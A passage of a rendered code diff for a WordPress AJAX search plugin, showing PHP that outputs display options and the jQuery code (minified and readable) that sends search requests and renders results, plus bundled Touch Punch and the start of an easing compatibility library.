showauthor: <?php echo ((isset($style['showauthor']) && $style['showauthor']!="")?$style['showauthor']:"1"); ?>,
|
109 |
+
showdate: <?php echo ((isset($style['showdate']) && $style['showdate']!="")?$style['showdate']:"1"); ?>,
|
110 |
+
showdescription: <?php echo ((isset($style['showdescription']) && $style['showdescription']!="")?$style['showdescription']:"1"); ?>,
|
111 |
+
charcount: <?php echo ((isset($style['charcount']) && $style['charcount']!="")?$style['charcount']:"3"); ?>,
|
112 |
+
noresultstext: 'No results!',
|
113 |
+
didyoumeantext: '<?php echo ((isset($style['didyoumeantext']) && $style['didyoumeantext']!="")?$style['didyoumeantext']:"3"); ?>',
|
114 |
+
highlight: 0,
|
115 |
+
highlightwholewords: 0,
|
116 |
+
resultareaclickable: <?php echo ((isset($style['resultareaclickable']) && $style['resultareaclickable']!="")?$style['resultareaclickable']:0); ?>
|
117 |
+
});
|
118 |
+
});
|
119 |
+
</script>
|
120 |
+
<?php
|
121 |
+
//}
|
122 |
+
$return = ob_get_clean();
|
123 |
+
return $return;
|
124 |
+
}
|
125 |
+
|
126 |
+
?>
|
js/jquery.ajaxsearchpro.min.js
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
(function(e){function n(){return!!("ontouchstart"in window)?1:0}var t={init:function(r){var i=e.extend({},this,t);i.searching=false;i.o=e.extend({},r);i.n=new Object;i.n.container=e(this);i.n.probox=e(".probox",this);i.n.proinput=e(".proinput",this);i.n.text=e(".proinput input",this);i.n.loading=e(".proinput .loading",this);i.n.proloading=e(".proloading",this);i.n.promagnifier=e(".promagnifier",this);i.n.prosettings=e(".prosettings",this);i.n.searchsettings=e(".searchsettings",this);i.n.resultsDiv=e(this).next();i.n.items=e(".item",i.n.resultsDiv);i.n.results=e(".results",i.n.resultsDiv);i.n.resdrg=e(".resdrg",i.n.resultsDiv);i.n.drag=e(".resdrg",i.n.resultsDiv);i.o.id=i.n.container.attr("id").match(/^ajaxsearchpro(.*)/)[1];i.cleanUp();i.n.resultsDiv.appendTo("body");i.n.searchsettings.appendTo("body");if(e.browser.msie&&e.browser.version<9){i.n.searchsettings.addClass("ie78")}i.n.resultsDiv.css({opacity:0});e(document).bind("click",function(){i.hideResults();i.hideSettings()});e(this).bind("click",function(e){e.stopImmediatePropagation()});i.n.resultsDiv.bind("click",function(e){e.stopImmediatePropagation()});i.n.searchsettings.bind("click",function(e){e.stopImmediatePropagation()});i.scroll=i.n.results.mCustomScrollbar({scrollButtons:{enable:true,scrollType:"pixels",scrollSpeed:parseInt(i.o.resultitemheight),scrollAmount:parseInt(i.o.resultitemheight)},callbacks:{onScroll:function(){if(n())return;var t=parseInt(e(".mCSB_container",i.n.results).position().top);scr=t%(i.o.resultitemheight+3)-t==0&&Math.abs(t)%(i.o.resultitemheight+3)<i.o.resultitemheight/2+3?"first":-(Math.abs(t)%(i.o.resultitemheight+3))-t;if(Math.abs(t)%(i.o.resultitemheight+3)>i.o.resultitemheight/2){if(scr!="first")scr+=i.o.resultitemheight+3;e(".mCSB_container",i.n.resultsDiv).animate({top:-scr})}else{e(".mCSB_container",i.n.resultsDiv).animate({top:-scr})}}}});i.n.prosettings.click(function(){if(i.n.prosettings.attr("opened")==0){i.showSettings()}else{i.hideSettings()}});var s;e(window).bind("resize",function(){i.resize()});e(window).bind("scroll",function(){i.scrolling(false)});e(window).trigger("resize");e(window).trigger("scroll");i.n.promagnifier.click(function(){clearTimeout(s);s=setTimeout(function(){i.search();s=null},700)});i.n.text.keyup(function(){i.n.promagnifier.trigger("click")});return i},destroy:function(){return this.each(function(){var n=e.extend({},this,t);e(window).unbind(n)})},searchfor:function(t){e(".proinput input",this).val(t).trigger("keyup")},search:function(){var n=e.extend({},this,t);if(n.searching&&0)return;if(n.n.text.val().length<n.o.charcount)return;n.searching=true;n.n.proloading.css({visibility:"visible"});n.hideSettings();n.hideResults();var r={action:"ajaxsearchpro_search",s:n.n.text.val(),id:n.o.id,options:e("form",n.n.searchsettings).serialize()};jQuery.post(ajaxsearchpro.ajaxurl,r,function(t){n.n.resdrg.html("");if(t.nores!=null&&t.keywords!=null){var r=n.o.noresultstext+" "+n.o.didyoumeantext+"<br>";for(var i=0;i<t.keywords.length;i++){r=r+"<span class='keyword'>"+t.keywords[i]+"</span>"}n.n.resdrg.append("<div class='nores'>"+r+"</div>");e(".keyword",n.n.resdrg).bind("click",function(){n.n.text.val(e(this).html());n.n.promagnifier.trigger("click")})}else if(t.length>0){for(var i=0;i<t.length;i++){var s="";var o="";var u="";var a="";if(t[i].image!=null&&t[i].image!=""){s=" <div class='image' style='width:"+n.o.imagewidth+"px;height:"+n.o.imageheight+"px;'> <img src='"+t[i].image+"'> </div>"}if(n.o.showauthor==1){u="<span class='author'>"+t[i].author+"</span>"}if(n.o.showdate==1){a="<span class='date'>"+t[i].date+"</span>"}if(n.o.showdescription==1){o=t[i].content}var f="item_"+n.o.id+"_"+i;var l="";if(n.o.resultareaclickable==1){l="<span class='overlap'></span>"}var c=" <div class='item' id='"+f+"' style='height:"+n.o.resultitemheight+"px;'> "+s+" <div class='content' style='height:"+n.o.resultitemheight+"px;'> <h3><a href='"+t[i].link+"'>"+t[i].title+l+"</a></h3> <div class='etc'>"+u+" "+a+"</div> <p class='desc'>"+o+"</p> </div> <div class='clear'></div> </div>";c=e(c);n.n.resdrg.append(c)}}else{n.n.resdrg.append("<div class='nores'>"+n.o.noresultstext+"</div>")}n.n.items=e(".item",n.n.resultsDiv);n.showResults();n.n.proloading.css({visibility:"hidden"})},"json")},showResults:function(){var n=e.extend({},this,t);n.scrolling(true);var r=n.n.resultsDiv.position().top;n.n.resultsDiv.css({top:r-100,opacity:0,visibility:"visible"}).animate({top:r,opacity:1});if(n.n.items.length>0){var i=n.n.items.length<n.o.itemscount?n.n.items.length:n.o.itemscount;n.n.results.css({height:i*n.n.items.outerHeight(true)+3});n.scroll.mCustomScrollbar("update");n.scroll.mCustomScrollbar("scrollTo","first",{callback:false});if(n.o.highlight==1){var s=n.o.highlightwholewords==1?true:false;n.n.resultsDiv.highlight(n.n.text.val().split(" "),{element:"span",className:"highlighted",wordsOnly:s})}}n.resize();if(n.n.items.length==0){var o=e(".nores",n.n.results).outerHeight(true)>n.o.resultitemheight?n.o.resultitemheight:e(".nores",n.n.results).outerHeight(true);n.n.results.css({height:11110});n.scroll.mCustomScrollbar("update");n.n.results.css({height:e(".nores",n.n.results).outerHeight(true)})}n.scrolling(true);n.searching=false},hideResults:function(){var n=e.extend({},this,t);n.n.resultsDiv.animate({opacity:0},{complete:function(){e(this).css({visibility:"hidden"})}})},showSettings:function(){var n=e.extend({},this,t);n.scrolling(true);n.n.searchsettings.css({opacity:0,visibility:"visible",top:"-=50px"});n.n.searchsettings.animate({opacity:1,top:"+=50px"});n.n.prosettings.attr("opened",1)},hideSettings:function(){var n=e.extend({},this,t);n.n.searchsettings.animate({opacity:0},{complete:function(){e(this).css({visibility:"hidden"})}});n.n.prosettings.attr("opened",0)},cleanUp:function(){var n=e.extend({},this,t);e("body>#ajaxsearchprosettings"+n.o.id).remove();e("body>#ajaxsearchprores"+n.o.id).remove()},resize:function(){var n=e.extend({},this,t);n.n.proinput.css({width:n.n.probox.width()-8-(n.n.proinput.outerWidth()-n.n.proinput.width())-n.n.proloading.outerWidth(true)-n.n.prosettings.outerWidth(true)-n.n.promagnifier.outerWidth(true)-10});if(n.n.prosettings.attr("opened")!=0){n.n.searchsettings.css({display:"block",top:n.n.prosettings.offset().top+n.n.prosettings.height()-2,left:n.n.prosettings.offset().left+n.n.prosettings.width()-n.n.searchsettings.width()})}if(n.n.resultsDiv.css("visibility")!="hidden"){n.n.resultsDiv.css({width:n.n.container.width()-(n.n.resultsDiv.outerWidth(true)-n.n.resultsDiv.width()),top:n.n.container.offset().top+n.n.container.outerHeight(true)+10,left:n.n.container.offset().left});e(".content",n.n.items).each(function(){var t=e(this).prev().css("display")=="none"?0:e(this).prev().outerWidth(true);e(this).css({width:e(this.parentNode).width()-e(this).prev().outerWidth(true)-e(this).outerWidth()+e(this).width()})})}},scrolling:function(n){var r=e.extend({},this,t);if(n==true||r.n.searchsettings.css("visibility")=="visible"){r.n.searchsettings.css({display:"block",top:r.n.prosettings.offset().top+r.n.prosettings.height()-2,left:r.n.prosettings.offset().left+r.n.prosettings.width()-r.n.searchsettings.width()})}if(n==true||r.n.resultsDiv.css("visibility")=="visible"){r.n.resultsDiv.css({width:r.n.container.width()-(r.n.resultsDiv.outerWidth(true)-r.n.resultsDiv.width()),top:r.n.container.offset().top+r.n.container.outerHeight(true)+10,left:r.n.container.offset().left});e(".content",r.n.items).each(function(){var t=e(this).prev().css("display")=="none"?0:e(this).prev().outerWidth(true);e(this).css({width:e(this.parentNode).width()-e(this).prev().outerWidth(true)-e(this).outerWidth()+e(this).width()})})}}};e.fn.ajaxsearchpro=function(n){if(t[n]){return t[n].apply(this,Array.prototype.slice.call(arguments,1))}else if(typeof n==="object"||!n){return t.init.apply(this,arguments)}else{e.error("Method "+n+" does not exist on jQuery.ajaxsearchpro")}}})(jQuery)
|
js/nomin/jquery.ajaxsearchpro.js
ADDED
@@ -0,0 +1,354 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
(function( $ ){
|
2 |
+
var methods = {
|
3 |
+
init : function( options ) {
|
4 |
+
var $this = $.extend({}, this, methods);
|
5 |
+
$this.searching = false;
|
6 |
+
$this.o = $.extend({}, options);
|
7 |
+
$this.n = new Object();
|
8 |
+
$this.n.container = $(this);
|
9 |
+
$this.n.probox = $('.probox', this);
|
10 |
+
$this.n.proinput = $('.proinput', this);
|
11 |
+
$this.n.text = $('.proinput input', this);
|
12 |
+
$this.n.loading = $('.proinput .loading', this);
|
13 |
+
$this.n.proloading = $('.proloading', this);
|
14 |
+
$this.n.promagnifier = $('.promagnifier', this);
|
15 |
+
$this.n.prosettings = $('.prosettings', this);
|
16 |
+
$this.n.searchsettings = $('.searchsettings', this);
|
17 |
+
$this.n.resultsDiv = $(this).next();
|
18 |
+
$this.n.items = $('.item', $this.n.resultsDiv);
|
19 |
+
$this.n.results = $('.results', $this.n.resultsDiv);
|
20 |
+
$this.n.resdrg = $('.resdrg', $this.n.resultsDiv);
|
21 |
+
$this.n.drag = $('.resdrg', $this.n.resultsDiv);
|
22 |
+
$this.n.scrollbar = $(".scrollbar", $this.n.resultsDiv);
|
23 |
+
|
24 |
+
//$this.cleanUp();
|
25 |
+
|
26 |
+
$this.n.resultsDiv.appendTo("body");
|
27 |
+
$this.n.searchsettings.appendTo("body");
|
28 |
+
|
29 |
+
if ( $.browser.msie && $.browser.version<9 ) {
|
30 |
+
$this.n.searchsettings.addClass("ie78");
|
31 |
+
}
|
32 |
+
|
33 |
+
$this.n.resultsDiv.css({
|
34 |
+
opacity: 0
|
35 |
+
});
|
36 |
+
$(document).bind("click", function(){
|
37 |
+
$this.hideResults();
|
38 |
+
$this.hideSettings();
|
39 |
+
});
|
40 |
+
$(this).bind("click", function(e){
|
41 |
+
e.stopImmediatePropagation();
|
42 |
+
});
|
43 |
+
$this.n.resultsDiv.bind("click", function(e){
|
44 |
+
e.stopImmediatePropagation();
|
45 |
+
});
|
46 |
+
$this.n.searchsettings.bind("click", function(e){
|
47 |
+
e.stopImmediatePropagation();
|
48 |
+
});
|
49 |
+
/*$this.scroll = $this.n.results.mCustomScrollbar({
|
50 |
+
scrollButtons:{
|
51 |
+
enable:true,
|
52 |
+
scrollType:"pixels",
|
53 |
+
scrollSpeed:parseInt($this.o.resultitemheight),
|
54 |
+
scrollAmount:parseInt($this.o.resultitemheight)
|
55 |
+
},
|
56 |
+
callbacks:{
|
57 |
+
onScroll:function(){
|
58 |
+
if (is_touch_device()) return;
|
59 |
+
var top = parseInt($('.mCSB_container', $this.n.results).position().top);
|
60 |
+
scr = ((((top%($this.o.resultitemheight+3))-top)==0 && (Math.abs(top)%($this.o.resultitemheight+3))<($this.o.resultitemheight/2+3))?'first':(-(Math.abs(top)%($this.o.resultitemheight+3))-top ));
|
61 |
+
if ((Math.abs(top)%($this.o.resultitemheight+3))>($this.o.resultitemheight/2)) {
|
62 |
+
if (scr!='first') scr+=($this.o.resultitemheight+3);
|
63 |
+
$(".mCSB_container", $this.n.resultsDiv).animate({
|
64 |
+
top: -scr
|
65 |
+
});
|
66 |
+
} else {
|
67 |
+
$(".mCSB_container", $this.n.resultsDiv).animate({
|
68 |
+
top: -scr
|
69 |
+
});
|
70 |
+
}
|
71 |
+
}
|
72 |
+
}
|
73 |
+
}); */
|
74 |
+
|
75 |
+
$this.n.prosettings.click(function(){
|
76 |
+
if ($this.n.prosettings.attr('opened')==0) {
|
77 |
+
$this.showSettings();
|
78 |
+
} else {
|
79 |
+
$this.hideSettings();
|
80 |
+
}
|
81 |
+
});
|
82 |
+
|
83 |
+
var t;
|
84 |
+
$(window).bind("resize", function(){
|
85 |
+
$this.resize();
|
86 |
+
});
|
87 |
+
$(window).bind("scroll", function() {
|
88 |
+
$this.scrolling(false);
|
89 |
+
});
|
90 |
+
$(window).trigger('resize');
|
91 |
+
$(window).trigger('scroll');
|
92 |
+
$this.n.promagnifier.click(function(){
|
93 |
+
clearTimeout(t);
|
94 |
+
t = setTimeout (function() {
|
95 |
+
$this.search();
|
96 |
+
t = null;
|
97 |
+
}, 700);
|
98 |
+
});
|
99 |
+
$this.n.text.keyup(function(){
|
100 |
+
$this.n.promagnifier.trigger('click');
|
101 |
+
});
|
102 |
+
|
103 |
+
return $this;
|
104 |
+
},
|
105 |
+
destroy : function( ) {
|
106 |
+
return this.each(function(){
|
107 |
+
var $this = $.extend({}, this, methods);
|
108 |
+
$(window).unbind($this);
|
109 |
+
})
|
110 |
+
},
|
111 |
+
searchfor: function(phrase) {
|
112 |
+
$(".proinput input",this).val(phrase).trigger("keyup");
|
113 |
+
},
|
114 |
+
search : function() {
|
115 |
+
var $this = $.extend({}, this, methods);
|
116 |
+
if ($this.searching && 0) return;
|
117 |
+
if ($this.n.text.val().length<$this.o.charcount) return;
|
118 |
+
$this.searching = true;
|
119 |
+
$this.n.proloading.css({
|
120 |
+
visibility: "visible"
|
121 |
+
});
|
122 |
+
$this.hideSettings();
|
123 |
+
$this.hideResults();
|
124 |
+
var data = {
|
125 |
+
action: 'ajaxsearchlite_search',
|
126 |
+
s: $this.n.text.val(),
|
127 |
+
options: $('form' ,$this.n.searchsettings).serialize()
|
128 |
+
};
|
129 |
+
jQuery.post(ajaxsearchpro.ajaxurl, data, function(response) {
|
130 |
+
$this.n.resdrg.html("");
|
131 |
+
if (response.nores!=null && response.keywords!=null) {
|
132 |
+
var str = $this.o.noresultstext+" "+$this.o.didyoumeantext+"<br>";
|
133 |
+
for(var i=0;i<response.keywords.length;i++) {
|
134 |
+
str = str + "<span class='keyword'>"+response.keywords[i]+"</span>";
|
135 |
+
}
|
136 |
+
$this.n.resdrg.append("<div class='nores'>"+str+"</div>");
|
137 |
+
$(".keyword", $this.n.resdrg).bind('click', function(){
|
138 |
+
$this.n.text.val($(this).html());
|
139 |
+
$this.n.promagnifier.trigger('click');
|
140 |
+
});
|
141 |
+
} else if (response.length>0) {
|
142 |
+
for(var i=0;i<response.length;i++) {
|
143 |
+
var imageDiv = "";
|
144 |
+
var desc = "";
|
145 |
+
var authorSpan = "";
|
146 |
+
var dateSpan = "";
|
147 |
+
if (response[i].image!=null && response[i].image!="") {
|
148 |
+
imageDiv = "\
|
149 |
+
<div class='image' style='width:"+$this.o.imagewidth+"px;height:"+$this.o.imageheight+"px;'>\
|
150 |
+
<img src='"+response[i].image+"'> \
|
151 |
+
</div>";
|
152 |
+
}
|
153 |
+
if ($this.o.showauthor==1) {
|
154 |
+
authorSpan = "<span class='author'>"+response[i].author+"</span>";
|
155 |
+
}
|
156 |
+
if ($this.o.showdate==1) {
|
157 |
+
dateSpan = "<span class='date'>"+response[i].date+"</span>";
|
158 |
+
}
|
159 |
+
if ($this.o.showdescription==1) {
|
160 |
+
desc = response[i].content;
|
161 |
+
}
|
162 |
+
var id = 'item_'+i;
|
163 |
+
var clickable = ""
|
164 |
+
if ($this.o.resultareaclickable==1) {
|
165 |
+
clickable = "<span class='overlap'></span>";
|
166 |
+
}
|
167 |
+
var result = "\
|
168 |
+
<div class='item' id='"+id+"' style='height:"+$this.o.resultitemheight+"px;'> \
|
169 |
+
"+imageDiv+" \
|
170 |
+
<div class='content' style='height:"+$this.o.resultitemheight+"px;'> \
|
171 |
+
<h3><a href='"+response[i].link+"'>"+response[i].title+clickable+"</a></h3> \
|
172 |
+
<div class='etc'>"+authorSpan+" \
|
173 |
+
"+dateSpan+"</div> \
|
174 |
+
<p class='desc'>"+desc+"</p> \
|
175 |
+
</div> \
|
176 |
+
<div class='clear'></div> \
|
177 |
+
</div>";
|
178 |
+
result = $(result);
|
179 |
+
$this.n.resdrg.append(result);
|
180 |
+
|
181 |
+
}
|
182 |
+
} else {
|
183 |
+
$this.n.resdrg.append("<div class='nores'>"+$this.o.noresultstext+"</div>");
|
184 |
+
}
|
185 |
+
$this.n.items = $('.item', $this.n.resultsDiv);
|
186 |
+
$this.showResults();
|
187 |
+
$this.n.proloading.css({
|
188 |
+
visibility: "hidden"
|
189 |
+
});
|
190 |
+
}, "json");
|
191 |
+
},
|
192 |
+
showResults : function( ) {
|
193 |
+
var $this = $.extend({}, this, methods);
|
194 |
+
$this.scrolling(true);
|
195 |
+
$this.n.resdrg.css({
|
196 |
+
"position":"relative"
|
197 |
+
});
|
198 |
+
if ($this.n.items.length<=$this.o.itemscount) {
|
199 |
+
$this.n.scrollbar.css({
|
200 |
+
"display":"none"
|
201 |
+
});
|
202 |
+
} else {
|
203 |
+
$this.n.scrollbar.css({
|
204 |
+
"display":"inline"
|
205 |
+
});
|
206 |
+
}
|
207 |
+
var top = $this.n.resultsDiv.position().top;
|
208 |
+
$this.n.resultsDiv.css({
|
209 |
+
"top": top-100,
|
210 |
+
opacity: 0,
|
211 |
+
visibility: "visible"
|
212 |
+
}).animate({
|
213 |
+
"top": top,
|
214 |
+
opacity: 1
|
215 |
+
});
|
216 |
+
if ($this.n.items.length>0) {
|
217 |
+
var count = (($this.n.items.length<$this.o.itemscount)?$this.n.items.length:$this.o.itemscount);
|
218 |
+
$this.n.results.css({
|
219 |
+
height: (count * $this.n.items.outerHeight(true)+3)
|
220 |
+
});
|
221 |
+
if ($this.o.highlight==1) {
|
222 |
+
var wholew = (($this.o.highlightwholewords==1)?true:false);
|
223 |
+
$this.n.resultsDiv.highlight($this.n.text.val().split(" "), { element: 'span', className: 'highlighted', wordsOnly: wholew });
|
224 |
+
}
|
225 |
+
|
226 |
+
}
|
227 |
+
$this.resize();
|
228 |
+
if ($this.n.items.length==0) {
|
229 |
+
var h = ($('.nores', $this.n.results).outerHeight(true)>($this.o.resultitemheight)?($this.o.resultitemheight):$('.nores', $this.n.results).outerHeight(true));
|
230 |
+
$this.n.results.css({
|
231 |
+
height: 11110
|
232 |
+
});
|
233 |
+
$this.n.results.css({
|
234 |
+
height: $('.nores', $this.n.results).outerHeight(true)
|
235 |
+
});
|
236 |
+
}
|
237 |
+
$this.scrolling(true);
|
238 |
+
$this.searching = false;
|
239 |
+
$this.n.resdrg.css({
|
240 |
+
"position":"absolute"
|
241 |
+
});
|
242 |
+
$this.scroll = $this.n.resultsDiv.tinyscrollbar({ axis: 'y'});
|
243 |
+
},
|
244 |
+
hideResults : function( ) {
|
245 |
+
var $this = $.extend({}, this, methods);
|
246 |
+
$this.n.resultsDiv
|
247 |
+
.animate({
|
248 |
+
opacity: 0
|
249 |
+
},{
|
250 |
+
complete: function() {
|
251 |
+
$(this).css({
|
252 |
+
visibility: "hidden"
|
253 |
+
});
|
254 |
+
}
|
255 |
+
});
|
256 |
+
},
|
257 |
+
showSettings : function( ) {
|
258 |
+
var $this = $.extend({}, this, methods);
|
259 |
+
$this.scrolling(true);
|
260 |
+
$this.n.searchsettings.css({
|
261 |
+
opacity: 0,
|
262 |
+
visibility: "visible",
|
263 |
+
top: "-=50px"
|
264 |
+
});
|
265 |
+
$this.n.searchsettings.animate({
|
266 |
+
opacity: 1,
|
267 |
+
top: "+=50px"
|
268 |
+
});
|
269 |
+
$this.n.prosettings.attr('opened', 1);
|
270 |
+
},
|
271 |
+
hideSettings : function( ) {
|
272 |
+
var $this = $.extend({}, this, methods);
|
273 |
+
$this.n.searchsettings.animate({
|
274 |
+
opacity: 0
|
275 |
+
}, {
|
276 |
+
complete: function() {
|
277 |
+
$(this).css({
|
278 |
+
visibility: "hidden"
|
279 |
+
});
|
280 |
+
}
|
281 |
+
});
|
282 |
+
$this.n.prosettings.attr('opened', 0);
|
283 |
+
},
|
284 |
+
cleanUp: function( ) {
|
285 |
+
var $this = $.extend({}, this, methods);
|
286 |
+
$('body>#ajaxsearchlitesettings').remove();
|
287 |
+
$('body>#ajaxsearchliteres').remove();
|
288 |
+
},
|
289 |
+
resize : function( ) {
|
290 |
+
var $this = $.extend({}, this, methods);
|
291 |
+
$this.n.proinput.css({
|
292 |
+
width: ($this.n.probox.width()-8-($this.n.proinput.outerWidth()-$this.n.proinput.width())-$this.n.proloading.outerWidth(true)-$this.n.prosettings.outerWidth(true)-$this.n.promagnifier.outerWidth(true)-10)
|
293 |
+
});
|
294 |
+
if ($this.n.prosettings.attr('opened')!=0) {
|
295 |
+
$this.n.searchsettings.css({
|
296 |
+
display: "block",
|
297 |
+
top: $this.n.prosettings.offset().top+$this.n.prosettings.height()-2,
|
298 |
+
left: $this.n.prosettings.offset().left+$this.n.prosettings.width()-$this.n.searchsettings.width()
|
299 |
+
});
|
300 |
+
}
|
301 |
+
if ($this.n.resultsDiv.css('visibility')!='hidden') {
|
302 |
+
$this.n.resultsDiv.css({
|
303 |
+
width: $this.n.container.width()-($this.n.resultsDiv.outerWidth(true)-$this.n.resultsDiv.width()),
|
304 |
+
top: $this.n.container.offset().top+$this.n.container.outerHeight(true)+10,
|
305 |
+
left: $this.n.container.offset().left
|
306 |
+
});
|
307 |
+
|
308 |
+
$('.content', $this.n.items).each(function(){
|
309 |
+
var imageWidth = (($(this).prev().css('display')=="none")?0:$(this).prev().outerWidth(true));
|
310 |
+
$(this).css({
|
311 |
+
width: ($(this.parentNode).width()-$(this).prev().outerWidth(true)-$(this).outerWidth() + $(this).width())
|
312 |
+
});
|
313 |
+
});
|
314 |
+
}
|
315 |
+
},
|
316 |
+
scrolling: function(ignoreVisibility) {
|
317 |
+
var $this = $.extend({}, this, methods);
|
318 |
+
if (ignoreVisibility==true || $this.n.searchsettings.css('visibility')=='visible') {
|
319 |
+
$this.n.searchsettings.css({
|
320 |
+
display: "block",
|
321 |
+
top: $this.n.prosettings.offset().top+$this.n.prosettings.height()-2,
|
322 |
+
left: $this.n.prosettings.offset().left+$this.n.prosettings.width()-$this.n.searchsettings.width()
|
323 |
+
});
|
324 |
+
}
|
325 |
+
if (ignoreVisibility==true || $this.n.resultsDiv.css('visibility')=='visible') {
|
326 |
+
$this.n.resultsDiv.css({
|
327 |
+
width: $this.n.container.width()-($this.n.resultsDiv.outerWidth(true)-$this.n.resultsDiv.width()),
|
328 |
+
top: $this.n.container.offset().top+$this.n.container.outerHeight(true)+10,
|
329 |
+
left: $this.n.container.offset().left
|
330 |
+
});
|
331 |
+
$('.content', $this.n.items).each(function(){
|
332 |
+
var imageWidth = (($(this).prev().css('display')=="none")?0:$(this).prev().outerWidth(true));
|
333 |
+
$(this).css({
|
334 |
+
width: ($(this.parentNode).width()-$(this).prev().outerWidth(true)-$(this).outerWidth() + $(this).width())
|
335 |
+
});
|
336 |
+
});
|
337 |
+
}
|
338 |
+
}
|
339 |
+
};
|
340 |
+
|
341 |
+
$.fn.ajaxsearchpro = function( method ) {
|
342 |
+
if ( methods[method] ) {
|
343 |
+
return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
|
344 |
+
} else if ( typeof method === 'object' || ! method ) {
|
345 |
+
return methods.init.apply( this, arguments );
|
346 |
+
} else {
|
347 |
+
$.error( 'Method ' + method + ' does not exist on jQuery.ajaxsearchpro' );
|
348 |
+
}
|
349 |
+
|
350 |
+
};
|
351 |
+
function is_touch_device(){
|
352 |
+
return !!("ontouchstart" in window) ? 1 : 0;
|
353 |
+
}
|
354 |
+
})( jQuery );
|
js/nomin/jquery.drag.fix.js
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
* jQuery UI Touch Punch 0.2.2
|
3 |
+
*
|
4 |
+
* Copyright 2011, Dave Furfero
|
5 |
+
* Dual licensed under the MIT or GPL Version 2 licenses.
|
6 |
+
*
|
7 |
+
* Depends:
|
8 |
+
* jquery.ui.widget.js
|
9 |
+
* jquery.ui.mouse.js
|
10 |
+
*/
|
11 |
+
(function(b){b.support.touch="ontouchend" in document;if(!b.support.touch){return;}var c=b.ui.mouse.prototype,e=c._mouseInit,a;function d(g,h){if(g.originalEvent.touches.length>1){return;}g.preventDefault();var i=g.originalEvent.changedTouches[0],f=document.createEvent("MouseEvents");f.initMouseEvent(h,true,true,window,1,i.screenX,i.screenY,i.clientX,i.clientY,false,false,false,false,0,null);g.target.dispatchEvent(f);}c._touchStart=function(g){var f=this;if(a||!f._mouseCapture(g.originalEvent.changedTouches[0])){return;}a=true;f._touchMoved=false;d(g,"mouseover");d(g,"mousemove");d(g,"mousedown");};c._touchMove=function(f){if(!a){return;}this._touchMoved=true;d(f,"mousemove");};c._touchEnd=function(f){if(!a){return;}d(f,"mouseup");d(f,"mouseout");if(!this._touchMoved){d(f,"click");}a=false;};c._mouseInit=function(){var f=this;f.element.bind("touchstart",b.proxy(f,"_touchStart")).bind("touchmove",b.proxy(f,"_touchMove")).bind("touchend",b.proxy(f,"_touchEnd"));e.call(f);};})(jQuery);
|
js/nomin/jquery.easing.compatibility.js
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*
|
2 |
+
* jQuery Easing Compatibility v1 - http://gsgd.co.uk/sandbox/jquery.easing.php
|
3 |
+
*
|
4 |
+
* Adds compatibility for applications that use the pre 1.2 easing names
|
5 |
+
*
|
6 |
+
* Copyright (c) 2007 George Smith
|
7 |
+
* Licensed under the MIT License:
|
8 |
+
* http://www.opensource.org/licenses/mit-license.php
|
9 |
+
*/
|
10 |
+
|
11 |
+
jQuery.extend( jQuery.easing,
|
12 |
+
{
|
13 |
+
easeIn: function (x, t, b, c, d) {
|
14 |
+
return jQuery.easing.easeInQuad(x, t, b, c, d);
|
